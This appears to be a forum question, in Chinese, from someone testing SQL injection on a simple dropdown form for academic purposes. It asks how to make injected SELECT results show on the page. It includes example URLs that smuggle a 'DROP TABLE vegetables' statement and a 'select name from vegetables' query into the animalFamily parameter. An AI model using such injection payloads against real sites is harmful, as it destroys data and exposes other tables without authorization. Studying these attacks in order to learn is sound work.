出于学术目的,我正在一个简单的表单页面中测试sqlinjection:
<form method="GET">
<select name="animalFamily" onchange="submit()">
<option value='0'> Mammals </option>
<option value='1'> Reptiles </option>
</select>
</form>
提交后,服务器会对数据库执行查询以检索所选族的所有动物,并在html下拉菜单中显示它们,例如:
<select name="mammals">
<option> Dog </option>
<option> Cat </option>
</select>
我知道即使通过一个只有下拉菜单的html表单,也可以执行sql注入攻击,例如,如果我知道一个表的名称,而不是提交:
http://foobar.com/animals/?animalFamily=0
我可以提交以下网址,以便删除名为 vegetables 的表:
http://foobar.com/animals/?animalFamily=0'%3Bdrop+table+vegetables%3B+--
但是,如果我只想发送SELECT句子并获得结果呢? 我真的被要求获取表 vegetables 的列 name 的内容。这样的事情:
http://foobar.com/animals/?animalFamily=0'%3B+select+name+from+vegetables%3B--
是否有任何方法可以在结果页面中显示SELECT的结果?